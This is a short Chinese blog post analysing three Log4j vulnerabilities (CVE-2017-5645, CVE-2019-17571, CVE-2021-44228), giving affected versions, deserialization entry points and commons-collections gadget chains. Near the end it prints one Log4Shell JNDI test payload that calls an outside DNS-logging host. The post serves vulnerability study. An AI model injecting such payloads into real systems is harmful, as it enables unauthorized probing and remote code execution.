Log4j反序列化
参考文章
介绍
在项目中显示相关日志最原始的方式就是在代码段中添加相关打印的语句, 这样可以在运行时掌握程序的运行状态; 为了方便的查看日志, 需要封装一个日志打印的操作类
Log4j是Apache的开源项目, 可以实现对System.out等打印语句的替代, 并且可以结合spring等项目, 实现把日志输出到控制台或文件等
本次的两个漏洞均为未对传入的需要反序列化的数据做过滤, 导致了恶意构造从而造成相关反序列化漏洞
漏洞
¶CVE-2017-5645
¶影响版本
Log4j 2.x <= 2.8.1
¶具体分析
反序列化入口为ObjectinputStreamLogEventBridge.class类的logEvents()函数的inputStream.readObject()
由于对传入的数据没有进行过滤, 因此若存在, 即可通过commons-collections的Gadget链直接实现反序列化漏洞(CC链又出现了)
¶CVE-2019-17571
¶影响版本
Log4j 1.2.x <= 1.2.17
¶具体分析
反序列化入口为SimpleSocketServer.class的run()中的代码
event = (LoggingEvent)this.ois.readObject(); |
当获取的this.ois不为null时直接用readObject()进行反序列化, 造成反序列化漏洞, 利用方式同样是打commons-collections的Gadget链
¶CVE-2021-44228
¶影响版本
Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
¶影响组件
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
¶漏洞验证
${jndi:idap://579d2205.dns.1433.eu.org.} |
Java 8u191+ 默认阻止远程类加载
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
